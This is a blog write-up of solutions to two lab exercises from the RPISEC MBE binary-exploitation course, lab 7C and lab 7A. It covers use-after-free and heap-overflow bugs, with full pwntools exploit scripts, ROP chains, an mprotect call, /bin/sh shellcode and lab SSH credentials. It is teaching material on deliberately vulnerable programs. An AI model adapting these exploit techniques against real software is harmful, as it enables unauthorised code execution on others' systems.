25 Jan 2020
For this one, we need to exploit a UAF (Use After Free) vulnerability. Two structures are declared in the source code:
struct data {
char reserved[8];
char buffer[20];
void (* print)(char *);
};
struct number {
unsigned int reserved[6]; // implement later
void (* print)(unsigned int);
unsigned int num;
};
These structures contain two function pointers. malloc is used to create new data and number like below:
tempstr = malloc(sizeof(struct data));
tempnum = malloc(sizeof(struct number));
And if we check the part where allocations are freed, we can see that pointers tempstr and tempnum are not reinitialized:
/* delete a string */
else if(choice == 3)
{
if(strcnt && strings[strcnt])
{
free(strings[strcnt--]);
printf("Deleted most recent string!\n");
}
else
printf("There are no strings left to delete!\n");
}
/* delete a number */
else if(choice == 4)
{
if(numcnt && numbers[numcnt])
{
free(numbers[numcnt--]);
printf("Deleted most recent number!\n");
}
else
printf("There are no numbers left to delete!\n");
}
So if a try to print the value of a number or a string after the freeing, pointers will always point on the old data.
Ok, now we will try to create a number and print the string and see what happens:
With gdb, we can see why:
The program tries to go to 0x000004d2. 4d2 is equals to 1234 to decimal, the same value of the number created. Because pointers are not reallocated, they always point to the old allocation even if it is freed. So if a new allocation happens, the old data will be overwriten by the new and the string pointer will be pointing to the new number structure.
If we campare the structures:
data structure number structure
8 bytes | char reserved | 6*4 =24 bytes | int reserved |
20 bytes | char buffer | 4 bytes | pointer func |
4 bytes | pointer func | 4 bytes | int num |
So the pointer function of data structure is located to the 28th bytes in the structure and the num integer is located too to the 28th bytes in the number structure. So, when I try to print deleted string after that a number is created, the program redirected to the value of the number. So it is possible to control the EIP. If I enter 3735928559 (0xDEADBEEF in hexadecimal) instead of 1234, the program will try to go to 0xDEADBEEF like you can see below:
Great, I can probably finish this lab with a bruteforce but it is not the best solution and find an address leak in the program is easy!
Instead of to create a string firstly, I will create a number, I will delete it and I will create a string. If I print the number, the program will print the address of the function small_str:
3078171591 corresponds to B7792BC7 in hexadecimal. We have our address, we can bypass the ASLR now.
To pop the shell, I will call system. So I can find the address of system with gdb. And to calculate the offset: @address_small_str - @address_system = 0x19DA37
So with the following script, I can pop the shell:
#! /usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
s = ssh(host='192.168.0.18', user='lab7C', password='lab07start')
p = s.process('/levels/lab07/lab7C')
#create a number
p.recvuntil("Enter Choice: ")
p.sendline("2")
p.recvuntil("Input number to store: ")
p.sendline("1234")
# delete this number
p.recvuntil("Enter Choice: ")
p.sendline("4")
#create a string
#the string will be created at the same place in the heap where the old number was
p.recvuntil("Enter Choice: ")
p.sendline("1")
p.recvuntil("Input string to store: ")
p.sendline("toto")
#now print the number freed
p.recvuntil("Enter Choice: ")
p.sendline("6")
p.recvuntil("Number index to print: ")
p.sendline("1")
#because the function pointer in the struct data it is in the same "offset"
#that the struct number, the program print the address of small_str
#so this leak address allows bypassing the ASLR
answer_number = p.recvline()
leak_address = answer_number.split(" ")[3]
leak_address = leak_address.split("\n")[0]
# the offset of the system address is @address_small_str - @address_system = 0x19DA37
# 0x19DA37 = 1694263 in base 10
system_address = int(leak_address) - 1694263
# delete the last number
p.recvuntil("Enter Choice: ")
p.sendline("3")
#create a new string
p.recvuntil("Enter Choice: ")
p.sendline("1")
#the parameter for the system function
p.recvuntil("Input string to store: ")
p.sendline("sh ")
# delete the string
p.recvuntil("Enter Choice: ")
p.sendline("3")
# create a number
#the number will be created at the same place in the heap where the old string was
p.recvuntil("Enter Choice: ")
p.sendline("2")
p.recvuntil("Input number to store: ")
p.sendline(str(system_address))
p.recvuntil("Enter Choice: ")
p.sendline("5")
#because the function pointer in the struct data it is in the same "offset"
#that the struct number, the program will point to the system address and pop the shell
p.recvuntil("String index to print: ")
p.sendline("1")
p.interactive()
The program allows to create, edit and print messages. Of course, messages are loaded in the heap. A message is “encrypted” with their own XOR pad. Message data are stored in the following structure:
struct msg {
void (* print_msg)(struct msg *);
unsigned int xor_pad[MAX_BLOCKS];
unsigned int message[MAX_BLOCKS];
unsigned int msg_len;
};
Probably, we will need to overwrite the function pointer to take the control of the program.
After search hours and hours, I finally found the problem on these lines:
/* make sure the message length is no bigger than the xor pad */
if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;
BLOCK_SIZE is equals to 4 and MAX_BLOCKS is equals to 32. So new_msg->msg_len / BLOCK_SIZE needs to be inferior to 32. Because the program uses the operator / and because msg_len is an unsigned int, if msg_len equals 131, 131/4 = 32 and the condition will be true.
So if I created a new message with the length 131, because the maximum length is 128, the value of msg_len will be overwriten. Consequently, it will be possible to edit the message with a very large number of characters and overflow the heap. Thanks to this bug, it is possible to overwrite the function pointer and take the control of EIP.
Let’s check inside the memory what happens. In a first time, we will use the following program with normal values:
#! /usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
p = process("./lab7A")
gdb.attach(p)
# create message #0
p.recvuntil("Enter Choice: ")
p.sendline("1")
p.recvuntil("Enter data length: ")
p.sendline("128")
p.recvuntil("Enter data to encrypt: ")
p.sendline("A"*128)
# create message #1
p.recvuntil("Enter Choice: ")
p.sendline("1")
p.recvuntil("Enter data length: ")
p.sendline("20")
p.recvuntil("Enter data to encrypt: ")
p.sendline("C"*1)
# print message #0
p.recvuntil("Enter Choice: ")
p.sendline("4")
p.recvuntil("Input message index to print: ")
p.sendline("0")
# print message #1
p.recvuntil("Enter Choice: ")
p.sendline("4")
p.recvuntil("Input message index to print: ")
p.sendline("1")
p.interactive()
You can run the program in debug mode: python my_script DEBUG
. It is useful to see the data sent and received. I placed a breakpoint after print the message #1. Below, the XOR pad and the encrypted messages printed:
Message #0:
Message #1:
With some gdb-peda command, we can find where messages are stored on the heap:
NB: Because of the little-endian, we need to search in the reverse order. So 0x63c3adef are the first four bytes in the XOR Pad of message #0 in the reverse order.
Now, let’s check the value in the heap:
Address of print_message function and beginning of message #0
Beginning of the XOR Pad of message #0
Beginning of the encrypted message #0
Value of msg_len (0x80 = 128)
Address of print_message function and beginning of message #1
Now, let’s check what happens with 131 for the msg_len value:
0x00414141 corresponds to the three A characters above 128.
Now, if we edit message with a large value of character, we will overwrite the function pointer of message #1:
# edit message #0
p.recvuntil("Enter Choice: ")
p.sendline("2")
p.recvuntil("Input message index to edit: ")
p.sendline("0")
p.recvuntil("Input new message to encrypt: ")
p.sendline(200*"A")
To find the good offset to control the EIP, we can use the classic cyclic and cyclic_find function. The good offset is 140.
Of course, the function system is not in the program and because messages are stored in the heap, it is not possible to just use a classic ROP chain. So we need to use a stack pivot.
The program jump to the function through a CALL EAX instruction at the address 0xXXXX951F. So let’s check the value of registers just before the crash.
Ok, the only register that contains the message is EDX but no stack pivot exists for EDX in the program. We need to find another solution…
Honestly, at this point, I was not able to find a solution on my way. I spent hours (days) to find a solution and in Google, one of the first results of my search , it is a write-up about the exercise. So, I finally see a part of solutions in this write-up.
You can access to the write-up in this address: https://hackingiscool.pl/heap-overflow-with-stack-pivoting-format-string-leaking-first-stage-rop-ing-to-shellcode-after-making-it-executable-on-the-heap-on-a-statically-linked-binary-mbe-lab7a/
The author of the write-up was not able to finish the exercise by itself like me. He used the solution of Corb3nik. That’s good because Corb3nik is a friend that I met in my university and it’s thanks to him that I know MBE RPISEC courses. You can see his solution on this blog at this address: https://github.com/Corb3nik/MBE-Solutions/tree/master/lab7a
One other register can contain input where we have a control. In the print_index function, before the call to the function pointer, the function strtoul is called.
char numbuf[32];
unsigned int i = 0;
/* get message index to print */
printf("-Input message index to print: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);
In the fucking manual, we can see this sentence:
The remainder of the string is converted to an unsigned long int value in the obvious manner, stopping at the first character which is not a valid digit in the given base.
It means if I input a valid message index followed by a character not valid (not in [0-9]), the rest of the input will be ignored. Let’s try to do this with the following code and let’s check the value in the registers before the CALL EAX instruction:
# print message #1
p.recvuntil("Enter Choice: ")
p.sendline("4")
p.recvuntil("Input message index to print: ")
p.sendline("1"+"A"*31)
Great! Because of stack pivot gadgets for ECX exists, it is possible to jump to ECX and begin a ROP chain. Unfortunately, we have only 28 characters available and 28/4= 7, the ROP chain can only contain 7 gadgets or 4-byte data. So we need to find a way to jump to a bigger place.
In the hackingiscool.pl write-up, the author mentioned mprotect. This system call allows changing the permission on a region of memory. The idea it is to make the heap executable. But with the ALSR, I need to leak the heap address before to call mprotect.
Again, Corb3nik found a solution. When I want to leak an address, I try to find a format string vulnerability. Because we can call any function we want (and loaded by the program), we can call printf with one argument. The argument will be the XOR pad because it is followed the pointer function. Let’s try to do this with the following code:
# edit message #0
# in order to leak memory we call printf
p.recvuntil("Enter Choice: ")
p.sendline("2")
p.recvuntil("Input message index to edit: ")
p.sendline("0")
p.recvuntil("Input new message to encrypt: ")
# 0x08050260 = printf address
p.sendline(140*"A"+p32(0x08050260)+"%x-%x-%x-%x")
Unfortunately, no heap address is loaded on the stack at this moment. So we need to find a way to load a heap address. Corb3nik does this by calling print_index and because this function ask to print a message, we can print another message that contains the printf function with the format string. Because the print_index function is always loaded on the stack, we can get the heap address. This trick is a little hard to understand so you can check the hackingiscool.pl write-up. I will try to explain this with more details below.
We need 4 messages to leak the heap address:
The code will be the clearest explanation:
#! /usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
p = process("./lab7A")
gdb.attach(p)
# create message #0
# and overwrite len
p.recvuntil("Enter Choice: ")
p.sendline("1")
p.recvuntil("Enter data length: ")
p.sendline("131")
p.recvuntil("Enter data to encrypt: ")
p.sendline("A"*131)
# create message #1
p.recvuntil("Enter Choice: ")
p.sendline("1")
p.recvuntil("Enter data length: ")
p.sendline("20")
p.recvuntil("Enter data to encrypt: ")
p.sendline("C"*1)
# edit message #0
# and because len become very large
# I can overflow message #1
# and overwrite the function printer
# with a second call of print_index
p.recvuntil("Enter Choice: ")
p.sendline("2")
p.recvuntil("Input message index to edit: ")
p.sendline("0")
p.recvuntil("Input new message to encrypt: ")
# 0x08049481 = print_index
p.sendline(140*"A"+p32(0x08049481))
# create message #2 like #0
p.recvuntil("Enter Choice: ")
p.sendline("1")
p.recvuntil("Enter data length: ")
p.sendline("131")
p.recvuntil("Enter data to encrypt: ")
p.sendline("A"*131)
# create message #3 like #1
p.recvuntil("Enter Choice: ")
p.sendline("1")
p.recvuntil("Enter data length: ")
p.sendline("20")
p.recvuntil("Enter data to encrypt: ")
p.sendline("C"*1)
# edit message #2
# in order to leak memory we call printf
p.recvuntil("Enter Choice: ")
p.sendline("2")
p.recvuntil("Input message index to edit: ")
p.sendline("2")
p.recvuntil("Input new message to encrypt: ")
# 0x08050260 = printf
p.sendline(140*"A"+p32(0x08050260)+25*"%x-")
# leak the heap address
p.recvuntil("Enter Choice: ")
p.sendline("4")
p.recvuntil("Input message index to print: ")
p.sendline("1")
#Because we call again print_index, we need to enter another index
#So we call message #3 and leak the heap address like this
p.recvuntil("Input message index to print: ")
p.sendline("3")
p.interactive()
So the heap address is located in the 20th position so we can use this format string %20$x
to get the heap address.
To extract the heap address with Python, I used the following code (probably not the best way):
heap_address = p.recv(numb = 12)
print(heap_address)
heap_32 = int(heap_address[4:],16)
#change address to a page size multiple (0x1000)
heap_page = (heap_32 >> 12) << 12
mprotect need three argument: int mprotect(void *addr, size_t len, int prot);
addr needs to be a multiple of the system page size (4096 in Linux or 0x1000 in hex). It is the reason why I used some operators in the last line of the code above.
I used the following ROP chain to call mprotect:
# ebx contains the heap address and eax equals zero
first_stage_ropchain = p32(0x08098eb0) # mov eax, 7 ; ret
first_stage_ropchain += p32(0x080b636b) # add al, 0x76 ; ret
first_stage_ropchain += p32(0x08070330) # pop edx ; pop ecx ; pop ebx ; ret
first_stage_ropchain += p32(0x00000007)
first_stage_ropchain += p32(0x00001000)
first_stage_ropchain += p32(heap_page)
first_stage_ropchain += p32(0x08048ef6) # int 0x80
# final value
# eax = 7D => mprotect ID syscall
# ebx = @heap
# ecx = 0x1000 => len
# edx = 0x7 => rwx right
Then, I edit message #2 with the stack pivot and print message #3:
# edit message #2
p.recvuntil("Enter Choice: ")
p.sendline("2")
p.recvuntil("Input message index to edit: ")
p.sendline("2")
p.recvuntil("Input new message to encrypt: ")
# call gadget mov esp,ecx
p.sendline(140*"A"+p32(0x080bd486))
# execute mprotect
p.recvuntil("Enter Choice: ")
p.sendline("4")
p.recvuntil("Input message index to print: ")
p.sendline("3"+first_stage_ropchain)
Let’s check the permission after executing mprotect:
Ok, now the final step is to jump to a shellcode located on the heap. Because the heap address leaked points to the function pointer of message #1, I can place my shellcode just after like below:
#classic system /bin/sh shellcode
shellcode = "\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x89\xe2\x53\x89\xE1\xB0\x0B\xCD\x80"
# edit message #0
# and because len is very big
# I can overflow message #1
# and overwrite the function printer
# with a second call of print_index
p.recvuntil("Enter Choice: ")
p.sendline("2")
p.recvuntil("Input message index to edit: ")
p.sendline("0")
p.recvuntil("Input new message to encrypt: ")
# 0x08049481 = print_index
p.sendline(140*"A"+p32(0x08049481)+shellcode)
And finally, I print again message #3 with another ROP chain to jump in the shellcode:
jump_ropchain = p32(0x080481c9) # pop ebx ; ret
# address of the shellcode
jump_ropchain += p32(heap_32 + 4)
jump_ropchain += p32(0x0805dc14) #jmp ebx
# pop the shell
p.recvuntil("Enter Choice: ")
p.sendline("4")
p.recvuntil("Input message index to print: ")
p.sendline("3"+jump_ropchain)
You can download the solution here.